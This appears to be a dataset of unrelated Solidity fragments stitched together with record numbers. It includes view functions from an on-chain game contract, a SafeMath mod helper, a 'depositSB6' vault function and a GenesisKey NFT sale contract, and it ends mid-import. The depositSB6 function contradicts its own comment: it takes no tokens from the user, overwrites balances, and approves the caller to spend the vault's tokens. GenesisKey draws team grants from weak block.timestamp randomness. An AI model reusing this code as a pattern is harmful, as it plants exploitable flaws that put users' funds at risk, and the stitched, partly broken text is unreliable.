uint256[SM_PAGE] memory adviserWeis, uint256[SM_PAGE] memory messageSerials, bytes[SM_PAGE] memory texts, uint256[SM_PAGE] memory blockNumbers, uint256[SM_PAGE] memory timestamps ) { PlayerLib.Player memory thePlayer = _player(account); if (thePlayer.followerCookieCounter > 0) { if (till == 0) { till = thePlayer.followerCookieCounter; } if (till <= thePlayer.followerCookieCounter) { for (uint256 i = 0; i < SM_PAGE; i++) { uint256 serial = till.sub(i); if (serial < 1) { break; } GameLib.Cookie memory cookie = _playerFollowerCookie(account, serial); serials[i] = cookie.serial; players[i] = cookie.player; // advisers[i] = cookie.adviser; playerNames[i] = cookie.playerName; // adviserNames[i] = cookie.adviserName; playerWeis[i] = cookie.playerWeis; adviserWeis[i] = cookie.adviserWeis; messageSerials[i] = cookie.messageSerial; texts[i] = cookie.text; blockNumbers[i] = cookie.blockNumber; timestamps[i] = _game.block2timestamp(cookie.blockNumber); } } } } /** * @dev Returns followers of `account`, `till` a serial. * * till > 0: history * till == 0: latest */ function playerFollowersA(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory playerSerials, bytes[SM_PAGE] memory names, bytes[SM_PAGE] memory adviserNames, address[SM_PAGE] memory advisers, uint256[SM_PAGE] memory bonusWeis, uint256[SM_PAGE] memory surpriseWeis, uint256[SM_PAGE] memory messageSerials, uint256[SM_PAGE] memory messageBlockNumbers, uint256[SM_PAGE] memory messageTimestamps, bytes[SM_PAGE] memory messageTexts ) { (serials, accounts) = _playerFollowerAccounts(account, till); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); playerSerials[i] = thePlayer.serial; names[i] = thePlayer.name; adviserNames[i] = thePlayer.adviserName; advisers[i] = thePlayer.adviser; bonusWeis[i] = thePlayer.bonusWeis; surpriseWeis[i] = thePlayer.surpriseWeis; ( , // uint256 messageCounter, , // uint256 pinnedMessageSerial, messageSerials[i], messageTexts[i], messageBlockNumbers[i] ) = _game.getPlayerDisplay(accounts[i]); messageTimestamps[i] = _game.block2timestamp(messageBlockNumbers[i]); } } } function playerFollowersB(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory messageCounters, uint256[SM_PAGE] memory cookieCounters, uint256[SM_PAGE] memory followerCounters, uint256[SM_PAGE] memory followerMessageCounters, uint256[SM_PAGE] memory followerCookieCounters, uint256[SM_PAGE] memory firstMessageBlockNumbers, uint256[SM_PAGE] memory firstMessageTimestamps ) { (serials, accounts) = _playerFollowerAccounts(account, till); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); messageCounters[i] = thePlayer.messageCounter; cookieCounters[i] = thePlayer.cookieCounter; followerCounters[i] = thePlayer.followerCounter; followerMessageCounters[i] = thePlayer.followerMessageCounter; followerCookieCounters[i] = thePlayer.followerCookieCounter; ( firstMessageBlockNumbers[i], firstMessageTimestamps[i] ) = _playerFirstMessageBT(accounts[i]); } } } function playerFollowersC(address account, uint256 till) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory pinnedMessageSerials, uint8[SM_PAGE] memory topPlayerPositions, uint8[SM_PAGE] memory shareholderPositions, uint256[SM_PAGE] memory shareholderStakingWeis, uint256[SM_PAGE] memory shareholderProfitWeis, uint256[SM_PAGE] memory shareholderFirstBlockNumbers, uint256[SM_PAGE] memory shareholderFirstTimestamps ) { (serials, accounts) = _playerFollowerAccounts(account, till); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { ( pinnedMessageSerials[i], , // uint256 firstMessageBlockNumber, , // uint256 firstMessageTimestamp, topPlayerPositions[i], shareholderPositions[i], shareholderStakingWeis[i], shareholderProfitWeis[i], shareholderFirstBlockNumbers[i], shareholderFirstTimestamps[i] ) = playerPrime(accounts[i]); } } } /** * @dev Returns advisers of `account`. */ function playerAdvisersA(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory playerSerials, bytes[SM_PAGE] memory names, bytes[SM_PAGE] memory adviserNames, address[SM_PAGE] memory advisers, uint256[SM_PAGE] memory bonusWeis, uint256[SM_PAGE] memory surpriseWeis, uint256[SM_PAGE] memory messageSerials, uint256[SM_PAGE] memory messageBlockNumbers, uint256[SM_PAGE] memory messageTimestamps, bytes[SM_PAGE] memory messageTexts ) { (serials, accounts) = _playerAdviserAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); playerSerials[i] = thePlayer.serial; names[i] = thePlayer.name; adviserNames[i] = thePlayer.adviserName; advisers[i] = thePlayer.adviser; bonusWeis[i] = thePlayer.bonusWeis; surpriseWeis[i] = thePlayer.surpriseWeis; ( , // uint256 messageCounter, , // uint256 pinnedMessageSerial, messageSerials[i], messageTexts[i], messageBlockNumbers[i] ) = _game.getPlayerDisplay(accounts[i]); messageTimestamps[i] = _game.block2timestamp(messageBlockNumbers[i]); } } } function playerAdvisersB(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory messageCounters, uint256[SM_PAGE] memory cookieCounters, uint256[SM_PAGE] memory followerCounters, uint256[SM_PAGE] memory followerMessageCounters, uint256[SM_PAGE] memory followerCookieCounters, uint256[SM_PAGE] memory firstMessageBlockNumbers, uint256[SM_PAGE] memory firstMessageTimestamps ) { (serials, accounts) = _playerAdviserAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); messageCounters[i] = thePlayer.messageCounter; cookieCounters[i] = thePlayer.cookieCounter; followerCounters[i] = thePlayer.followerCounter; followerMessageCounters[i] = thePlayer.followerMessageCounter; followerCookieCounters[i] = thePlayer.followerCookieCounter; ( firstMessageBlockNumbers[i], firstMessageTimestamps[i] ) = _playerFirstMessageBT(accounts[i]); } } } function playerAdvisersC(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory pinnedMessageSerials, uint8[SM_PAGE] memory topPlayerPositions, uint8[SM_PAGE] memory shareholderPositions, uint256[SM_PAGE] memory shareholderStakingWeis, uint256[SM_PAGE] memory shareholderProfitWeis, uint256[SM_PAGE] memory shareholderFirstBlockNumbers, uint256[SM_PAGE] memory shareholderFirstTimestamps ) { (serials, accounts) = _playerAdviserAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { ( pinnedMessageSerials[i], , // uint256 firstMessageBlockNumber, , // uint256 firstMessageTimestamp, topPlayerPositions[i], shareholderPositions[i], shareholderStakingWeis[i], shareholderProfitWeis[i], shareholderFirstBlockNumbers[i], shareholderFirstTimestamps[i] ) = playerPrime(accounts[i]); } } } /** * @dev Returns previous of `account`. */ function playerPreviousA(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory playerSerials, bytes[SM_PAGE] memory names, bytes[SM_PAGE] memory adviserNames, address[SM_PAGE] memory advisers, uint256[SM_PAGE] memory bonusWeis, uint256[SM_PAGE] memory surpriseWeis, uint256[SM_PAGE] memory messageSerials, uint256[SM_PAGE] memory messageBlockNumbers, uint256[SM_PAGE] memory messageTimestamps, bytes[SM_PAGE] memory messageTexts ) { (serials, accounts) = _playerPreviousAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); playerSerials[i] = thePlayer.serial; names[i] = thePlayer.name; adviserNames[i] = thePlayer.adviserName; advisers[i] = thePlayer.adviser; bonusWeis[i] = thePlayer.bonusWeis; surpriseWeis[i] = thePlayer.surpriseWeis; ( , // uint256 messageCounter, , // uint256 pinnedMessageSerial, messageSerials[i], messageTexts[i], messageBlockNumbers[i] ) = _game.getPlayerDisplay(accounts[i]); messageTimestamps[i] = _game.block2timestamp(messageBlockNumbers[i]); } } } function playerPreviousB(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory messageCounters, uint256[SM_PAGE] memory cookieCounters, uint256[SM_PAGE] memory followerCounters, uint256[SM_PAGE] memory followerMessageCounters, uint256[SM_PAGE] memory followerCookieCounters, uint256[SM_PAGE] memory firstMessageBlockNumbers, uint256[SM_PAGE] memory firstMessageTimestamps ) { (serials, accounts) = _playerPreviousAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); messageCounters[i] = thePlayer.messageCounter; cookieCounters[i] = thePlayer.cookieCounter; followerCounters[i] = thePlayer.followerCounter; followerMessageCounters[i] = thePlayer.followerMessageCounter; followerCookieCounters[i] = thePlayer.followerCookieCounter; ( firstMessageBlockNumbers[i], firstMessageTimestamps[i] ) = _playerFirstMessageBT(accounts[i]); } } } function playerPreviousC(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory pinnedMessageSerials, uint8[SM_PAGE] memory topPlayerPositions, uint8[SM_PAGE] memory shareholderPositions, uint256[SM_PAGE] memory shareholderStakingWeis, uint256[SM_PAGE] memory shareholderProfitWeis, uint256[SM_PAGE] memory shareholderFirstBlockNumbers, uint256[SM_PAGE] memory shareholderFirstTimestamps ) { (serials, accounts) = _playerPreviousAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { ( pinnedMessageSerials[i], , // uint256 firstMessageBlockNumber, , // uint256 firstMessageTimestamp, topPlayerPositions[i], shareholderPositions[i], shareholderStakingWeis[i], shareholderProfitWeis[i], shareholderFirstBlockNumbers[i], shareholderFirstTimestamps[i] ) = playerPrime(accounts[i]); } } } /** * @dev Returns next of `account`. */ function playerNextA(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory playerSerials, bytes[SM_PAGE] memory names, bytes[SM_PAGE] memory adviserNames, address[SM_PAGE] memory advisers, uint256[SM_PAGE] memory bonusWeis, uint256[SM_PAGE] memory surpriseWeis, uint256[SM_PAGE] memory messageSerials, uint256[SM_PAGE] memory messageBlockNumbers, uint256[SM_PAGE] memory messageTimestamps, bytes[SM_PAGE] memory messageTexts ) { (serials, accounts) = _playerNextAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); playerSerials[i] = thePlayer.serial; names[i] = thePlayer.name; adviserNames[i] = thePlayer.adviserName; advisers[i] = thePlayer.adviser; bonusWeis[i] = thePlayer.bonusWeis; surpriseWeis[i] = thePlayer.surpriseWeis; ( , // uint256 messageCounter, , // uint256 pinnedMessageSerial, messageSerials[i], messageTexts[i], messageBlockNumbers[i] ) = _game.getPlayerDisplay(accounts[i]); messageTimestamps[i] = _game.block2timestamp(messageBlockNumbers[i]); } } } function playerNextB(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory messageCounters, uint256[SM_PAGE] memory cookieCounters, uint256[SM_PAGE] memory followerCounters, uint256[SM_PAGE] memory followerMessageCounters, uint256[SM_PAGE] memory followerCookieCounters, uint256[SM_PAGE] memory firstMessageBlockNumbers, uint256[SM_PAGE] memory firstMessageTimestamps ) { (serials, accounts) = _playerNextAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { PlayerLib.Player memory thePlayer = _player(accounts[i]); messageCounters[i] = thePlayer.messageCounter; cookieCounters[i] = thePlayer.cookieCounter; followerCounters[i] = thePlayer.followerCounter; followerMessageCounters[i] = thePlayer.followerMessageCounter; followerCookieCounters[i] = thePlayer.followerCookieCounter; ( firstMessageBlockNumbers[i], firstMessageTimestamps[i] ) = _playerFirstMessageBT(accounts[i]); } } } function playerNextC(address account) public view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts, uint256[SM_PAGE] memory pinnedMessageSerials, uint8[SM_PAGE] memory topPlayerPositions, uint8[SM_PAGE] memory shareholderPositions, uint256[SM_PAGE] memory shareholderStakingWeis, uint256[SM_PAGE] memory shareholderProfitWeis, uint256[SM_PAGE] memory shareholderFirstBlockNumbers, uint256[SM_PAGE] memory shareholderFirstTimestamps ) { (serials, accounts) = _playerNextAccounts(account); for (uint256 i = 0; i < accounts.length; i++) { if (accounts[i] != address(0)) { ( pinnedMessageSerials[i], , // uint256 firstMessageBlockNumber, , // uint256 firstMessageTimestamp, topPlayerPositions[i], shareholderPositions[i], shareholderStakingWeis[i], shareholderProfitWeis[i], shareholderFirstBlockNumbers[i], shareholderFirstTimestamps[i] ) = playerPrime(accounts[i]); } } } /** * --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- * ____ _ __ ______ __ _ * / __ \ _____ (_)_ __ ____ _ / /_ ___ / ____/__ __ ____ _____ / /_ (_)____ ____ _____ * / /_/ // ___// /| | / // __ `// __// _ \ / /_ / / / // __ \ / ___// __// // __ \ / __ \ / ___/ * / ____// / / / | |/ // /_/ // /_ / __/ / __/ / /_/ // / / // /__ / /_ / // /_/ // / / /(__ ) * /_/ /_/ /_/ |___/ \__,_/ \__/ \___/ /_/ \__,_//_/ /_/ \___/ \__//_/ \____//_/ /_//____/ * * --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- --------- */ /** * @dev Returns first message `blockNumber` and `timestamp` of `account`. */ function _playerFirstMessageBT(address account) private view returns ( uint256 blockNumber, uint256 timestamp ) { PlayerLib.Player memory thePlayer = _player(account); if (thePlayer.messageCounter > 0) { GameLib.Message memory theMessage = _playerMessage(account, 1); blockNumber = theMessage.blockNumber; timestamp = _game.block2timestamp(blockNumber); } } /** * @dev Returns follower accounts, of player `account`, `till` a serial. */ function _playerFollowerAccounts(address account, uint256 till) private view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts ) { PlayerLib.Player memory thePlayer = _player(account); if (thePlayer.followerCounter > 0) { if (till == 0) { till = thePlayer.followerCounter; } if (till <= thePlayer.followerCounter) { for (uint256 i = 0; i < SM_PAGE; i++) { uint256 serial = till.sub(i); if (serial < 1) { break; } address payable follower = _game.getPlayerFollower(account, serial); serials[i] = serial; accounts[i] = follower; } } } } /** * @dev Returns follower accounts, of player `account`. */ function _playerAdviserAccounts(address account) private view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts ) { if (account != address(0)) { for (uint8 i = 0; i < SM_PAGE; i++) { address adviser = _player(account).adviser; if (adviser == account || adviser == address(0)) { break; } serials[i] = i + 1; accounts[i] = adviser; account = adviser; } } } /** * @dev Returns previous accounts, of player `account`. */ function _playerPreviousAccounts(address account) private view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts ) { uint256 previousPlayerSerial; uint8 i = 0; if (account == address(0)) { ( , // uint256 timer, , // uint256 roundCounter, previousPlayerSerial, , // uint256 messageCounter, , // uint256 cookieCounter, , // uint256 cookieFund, , // uint256 winnerFund, , // uint256 surpriseIssued, , // uint256 bonusIssued, , // uint256 cookieIssued, // uint256 shareholderIssued ) = _game.getStatus(); serials[i] = 1; accounts[i] = _game.serial2player(previousPlayerSerial); i++; } else { previousPlayerSerial = _player(account).serial.sub(1); } uint256 playerSerial; for (i; i < SM_PAGE; i++) { playerSerial = previousPlayerSerial.sub(i); if (playerSerial < 1) { break; } serials[i] = i + 1; accounts[i] = _game.serial2player(playerSerial); } } /** * @dev Returns next accounts, of player `account`. */ function _playerNextAccounts(address account) private view returns ( uint256[SM_PAGE] memory serials, address[SM_PAGE] memory accounts ) { ( , // uint256 timer, , // uint256 roundCounter, uint256 playerCounter, , // uint256 messageCounter, , // uint256 cookieCounter, , // uint256 cookieFund, , // uint256 winnerFund, , // uint256 surpriseIssued, , // uint256 bonusIssued, , // uint256 cookieIssued, // uint256 shareholderIssued ) = _game.getStatus(); uint256 nextPlayerSerial = _player(account).serial.add(1); uint256 playerSerial; for (uint8 i = 0; i < SM_PAGE; i++) { playerSerial = nextPlayerSerial.add(i); if (playerSerial > playerCounter) { break; } serials[i] = i + 1; accounts[i] = _game.serial2player(playerSerial); } } /** * @dev Returns player {PlayerLib.Player} of `account`. */ function _player(address account) private view returns (PlayerLib.Player memory) { ( uint256 serial, bytes memory name, bytes memory adviserName, address payable adviser, uint256 messageCounter, uint256 cookieCounter, uint256 followerCounter, uint256 followerMessageCounter, uint256 followerCookieCounter, uint256 bonusWeis, uint256 surpriseWeis ) = _game.getPlayer(account); return PlayerLib.Player( serial, name, adviserName, adviser, messageCounter, cookieCounter, followerCounter, followerMessageCounter, followerCookieCounter, bonusWeis, surpriseWeis ); } /** * @dev Returns message of `account` {GameLib.Message} @ `serial`. */ function _playerMessage(address account, uint256 serial) private view returns (GameLib.Message memory) { ( uint256 messageSerial, bytes memory text, uint256 blockNumber ) = _game.getPlayerMessage(account, serial); PlayerLib.Player memory thePlayer = _player(account); return GameLib.Message(messageSerial, account, thePlayer.name, text, blockNumber); } /** * @dev Returns cookie of `account` {GameLib.Cookie} @ `serial`. */ function _playerCookie(address account, uint256 serial) private view returns (GameLib.Cookie memory) { ( uint256 cookieSerial, address payable playerAccount, address payable adviserAccount, bytes memory playerName, bytes memory adviserName, uint256 playerWeis, uint256 adviserWeis, uint256 messageSerial, bytes memory text, uint256 blockNumber ) = _game.getPlayerCookie(account, serial); return GameLib.Cookie(cookieSerial, playerAccount, adviserAccount, playerName, adviserName, playerWeis, adviserWeis, messageSerial, text, blockNumber); } /** * @dev Returns follower-cookie of `account` {GameLib.Cookie} @ `serial`. */ function _playerFollowerCookie(address account, uint256 serial) private view returns (GameLib.Cookie memory) { ( uint256 cookieSerial, address payable playerAccount, address payable adviserAccount, bytes memory playerName, bytes memory adviserName, uint256 playerWeis, uint256 adviserWeis, uint256 messageSerial, bytes memory text, uint256 blockNumber ) = _game.getPlayerFollowerCookie(account, serial); return GameLib.Cookie(cookieSerial, playerAccount, adviserAccount, playerName, adviserName, playerWeis, adviserWeis, messageSerial, text, blockNumber); } }
Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), Reverts with custom message when dividing by zero. Counterpart to Solidity's `%` operator. This function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero. _Available since v2.4.0._/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
12,693,057
./partial_match/97/0xD02B028b00924C9278137857230e7bb11450CAc4/sources/SB6vault.sol
get cake from user and deposit in contract1- transfer cake from user account to contractERC20(tracker_0x_address).approve(address spender, uint tokens)require(msg.value == _amount);approve token on address of user
function depositSB6() public payable returns(uint256) { balances[msg.sender] = inWallet(); if(SB6.approve(msg.sender, msg.value)){ return SB6.allowance(msg.sender, address(this)); } else { return balances[msg.sender]; } }
11,485,558
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; import "../erc721a/ERC721AUpgradeable.sol"; import "../interface/IGenesisKey.sol"; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; error PausedTransfer(); error MaxSupply(); error LockUpUnavailable(); interface IGkTeamClaim { function addTokenId(uint256 newTokenId) external; } contract GenesisKey is Initializable, ERC721AUpgradeable, ReentrancyGuardUpgradeable, UUPSUpgradeable, IGenesisKey { using SafeMathUpgradeable for uint256; using ECDSAUpgradeable for bytes32; // 2^128 is more than enough to store unix timestamp struct LockupInfo { uint128 totalLockup; // total lockup of this GK uint128 currentLockup; // unlocked when currentLock is 0 } /* An ECDSA signature. */ struct Sig { uint8 v; bytes32 r; bytes32 s; } address public owner; uint96 public publicSaleDurationSeconds; // length of public sale in seconds address public multiSig; uint96 public initialEthPrice; // initial price of genesis keys in Weth address public genesisKeyMerkle; uint96 public finalEthPrice; // final price of genesis keys in Weth address public gkTeamClaimContract; uint96 public publicSaleStartSecond; // second public sale starts address public signerAddress; bool public startPublicSale; // global state indicator if public sale is happening bool public pausedTransfer; // true transfers are paused bool public randomClaimBool; // true if random claim is enabled for team (only used for testing consistency) bool public lockupBoolean; // true if GK holders can lockup, false if not uint64 public remainingTeamAdvisorGrant; // Genesis Keys reserved for team / advisors / grants mapping(bytes32 => bool) public cancelledOrFinalized; // used hash mapping(address => bool) public whitelistedTransfer; // Whitelisted transfer (true / false) mapping(uint256 => LockupInfo) private _genesisKeyLockUp; uint256 public constant MAX_SUPPLY = 10000; uint256 public latestClaimTokenId; event ClaimedGenesisKey(address indexed _user, uint256 _amount, uint256 _blockNum, bool _whitelist); modifier onlyOwner() { require(msg.sender == owner, "GEN_KEY: !AUTH"); _; } function initialize( string memory name, string memory symbol, address _multiSig, uint256 _auctionSeconds, bool _randomClaimBool, string memory baseURI ) public initializer { __ReentrancyGuard_init(); __ERC721A_init(name, symbol, baseURI); __UUPSUpgradeable_init(); startPublicSale = false; publicSaleDurationSeconds = uint96(_auctionSeconds); owner = msg.sender; multiSig = _multiSig; remainingTeamAdvisorGrant = 250; // 250 genesis keys allocated randomClaimBool = _randomClaimBool; signerAddress = 0x9EfcD5075cDfB7f58C26e3fB3F22Bb498C6E3174; } function _authorizeUpgrade(address) internal override onlyOwner {} // governance functions ================================================================= function setOwner(address _owner) external onlyOwner { owner = _owner; } function currentXP(uint256 tokenId) external view returns ( bool locked, uint256 current, uint256 total ) { uint256 start = _genesisKeyLockUp[tokenId].currentLockup; if (start != 0) { locked = true; current = block.timestamp - start; } total = current + _genesisKeyLockUp[tokenId].totalLockup; } function toggleLockup(uint256 tokenId) internal { require(msg.sender == ownerOf(tokenId)); uint256 start = _genesisKeyLockUp[tokenId].currentLockup; if (start == 0) { if (!lockupBoolean) revert LockUpUnavailable(); _genesisKeyLockUp[tokenId].currentLockup = uint128(block.timestamp); } else { _genesisKeyLockUp[tokenId].totalLockup += uint128(block.timestamp - start); _genesisKeyLockUp[tokenId].currentLockup = 0; } } function toggleLockup(uint256[] calldata tokenIds) external { uint256 n = tokenIds.length; for (uint256 i = 0; i < n; ++i) { toggleLockup(tokenIds[i]); } } function transferFrom( address from, address to, uint256 tokenId ) public override { if ( totalSupply() != MAX_SUPPLY && !whitelistedTransfer[from] && block.timestamp <= 1651705200 // 5/4/22 11pm utc ) revert PausedTransfer(); if (_genesisKeyLockUp[tokenId].currentLockup != 0) revert PausedTransfer(); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { if ( totalSupply() != MAX_SUPPLY && !whitelistedTransfer[from] && block.timestamp <= 1651705200 // 5/4/22 11pm utc ) revert PausedTransfer(); if (_genesisKeyLockUp[tokenId].currentLockup != 0) revert PausedTransfer(); safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { if ( totalSupply() != MAX_SUPPLY && !whitelistedTransfer[from] && block.timestamp <= 1651705200 // 5/4/22 11pm utc ) revert PausedTransfer(); if (_genesisKeyLockUp[tokenId].currentLockup != 0) revert PausedTransfer(); _transfer(from, to, tokenId); if (isContract(to) && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } function setMultiSig(address _newMS) external onlyOwner { multiSig = _newMS; } function toggleLockupBoolean() external onlyOwner { lockupBoolean = !lockupBoolean; } function setGenesisKeyMerkle(address _newMK) external onlyOwner { genesisKeyMerkle = _newMK; } function setPublicSaleDuration(uint96 _seconds) external onlyOwner { publicSaleDurationSeconds = _seconds; } function setWhitelist(address _address, bool _val) external onlyOwner { whitelistedTransfer[_address] = _val; } function setSigner(address _signer) external onlyOwner { signerAddress = _signer; } // initial weth price is the high price (starting point) // final weth price is the lowest floor price we allow // num keys for sale is total keys allowed to mint function initializePublicSale(uint96 _initialEthPrice, uint96 _finalEthPrice) external onlyOwner { require(!startPublicSale, "GEN_KEY: sale already initialized"); initialEthPrice = _initialEthPrice; finalEthPrice = _finalEthPrice; publicSaleStartSecond = uint96(block.timestamp); startPublicSale = true; } function _startTokenId() internal pure override returns (uint256) { return 1; } // =========POST WHITELIST CLAIM KEY ========================================================================== /** @notice allows winning keys to be self-minted by winners */ function claimKey(address recipient, uint256 _eth) external payable override nonReentrant returns (bool) { // checks require(msg.sender == genesisKeyMerkle); require(!startPublicSale, "GEN_KEY: only during blind"); require(block.timestamp <= 1651705200, "Q.E.D"); // 5/4/22 11pm utc require(msg.value >= _eth); if (remainingTeamAdvisorGrant + totalSupply() == MAX_SUPPLY) revert MaxSupply(); // effects // interactions _mint(recipient, 1, "", false); randomTeamGrant(recipient); if (msg.value > _eth) { safeTransferETH(recipient, msg.value - _eth); } safeTransferETH(multiSig, address(this).balance); emit ClaimedGenesisKey(recipient, _eth, block.number, true); return true; } // pseudo-randomly assign a team to a key function randomTeamGrant(address _recipient) private { if ( remainingTeamAdvisorGrant != 0 && (uint256(uint160(_recipient)) + block.timestamp) % 5 == 0 && randomClaimBool ) { remainingTeamAdvisorGrant -= 1; _mint(gkTeamClaimContract, 1, "", false); IGkTeamClaim(gkTeamClaimContract).addTokenId(totalSupply()); emit ClaimedGenesisKey(gkTeamClaimContract, 0, block.number, false); } } function setGkTeamClaim(address _gkTeamClaimContract) external onlyOwner { gkTeamClaimContract = _gkTeamClaimContract; } /** @notice sends grant key to end user for team / advisors / grants */ function claimGrantKey(uint256 amount) external onlyOwner { require(amount != 0); require(remainingTeamAdvisorGrant >= amount); if (remainingTeamAdvisorGrant + totalSupply() == MAX_SUPPLY) revert MaxSupply(); remainingTeamAdvisorGrant -= uint64(amount); _mint(gkTeamClaimContract, amount, "", false); for (uint256 i = 0; i < amount; i++) { emit ClaimedGenesisKey(gkTeamClaimContract, 0, block.number, false); } } // mint leftover for DAO function mintLeftOver(uint256 quantityToClaim, uint256 quantityToTreasury) external onlyOwner { require(quantityToClaim != 0 && quantityToTreasury != 0); require(remainingTeamAdvisorGrant == 0); require(block.timestamp > 1651705200, "Q.E.D"); // 5/4/22 11pm utc require(quantityToClaim + quantityToTreasury + remainingTeamAdvisorGrant + totalSupply() == MAX_SUPPLY); latestClaimTokenId = totalSupply(); _mint(address(this), quantityToClaim, "", false); _mint(multiSig, quantityToTreasury, "", false); for (uint256 i = 0; i < quantityToClaim + quantityToTreasury; i++) { emit ClaimedGenesisKey(msg.sender, 0, block.number, false); } } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{ value: value }(new bytes(0)); require(success, "STE"); } // helper function for transferring eth from the public auction to MS function transferETH() external onlyOwner { safeTransferETH(multiSig, address(this).balance); } function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } // ========= PUBLIC SALE ================================================================= // external function for public sale of genesis keys function publicExecuteBid(uint256 amount) external payable nonReentrant { // checks require(startPublicSale, "GEN_KEY: invalid time"); require(block.timestamp <= 1651705200, "Q.E.D"); // 5/4/22 11pm utc require(!isContract(msg.sender), "GEN_KEY: !CONTRACT"); require(amount != 0 && amount <= 100, "GEN_KEY: !AMOUNT"); if (amount + remainingTeamAdvisorGrant + totalSupply() > 5000) revert MaxSupply(); uint256 currPrice = getCurrentPrice(); uint256 totalETH = currPrice * amount; require(msg.value >= totalETH, "GEN_KEY: INSUFFICIENT FUNDS"); // effects // interactions if (msg.value > totalETH) { safeTransferETH(msg.sender, msg.value - totalETH); } safeTransferETH(multiSig, address(this).balance); _mint(msg.sender, amount, "", false); randomTeamGrant(msg.sender); for (uint256 i = 0; i < amount; i++) { emit ClaimedGenesisKey(msg.sender, currPrice, block.number, false); } } function publicBuyKey() external payable nonReentrant { // checks require(startPublicSale, "GEN_KEY: invalid time"); require(block.timestamp > 1651705200, "Q.E.D"); // 5/4/22 11pm utc require(!isContract(msg.sender), "GEN_KEY: !CONTRACT"); if (totalSupply() != MAX_SUPPLY) revert MaxSupply(); if (latestClaimTokenId == 5000) revert MaxSupply(); uint256 currPrice = getCurrentPrice(); require(msg.value >= currPrice, "GEN_KEY: INSUFFICIENT FUNDS"); // effects latestClaimTokenId += 1; // interactions if (msg.value > currPrice) { safeTransferETH(msg.sender, msg.value - currPrice); } safeTransferETH(multiSig, address(this).balance); _adminTransfer(address(this), msg.sender, latestClaimTokenId); } // public function for returning the current price function getCurrentPrice() public view returns (uint256) { require(startPublicSale, "GEN_KEY: invalid time"); uint256 secondsPassed = 0; secondsPassed = block.timestamp - publicSaleStartSecond; if (secondsPassed >= publicSaleDurationSeconds) { return finalEthPrice; } else { uint256 totalPriceChange = initialEthPrice - finalEthPrice; uint256 currentPriceChange = totalPriceChange.mul(secondsPassed).div(publicSaleDurationSeconds); uint256 currentPrice = initialEthPrice - currentPriceChange; return currentPrice; } } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import 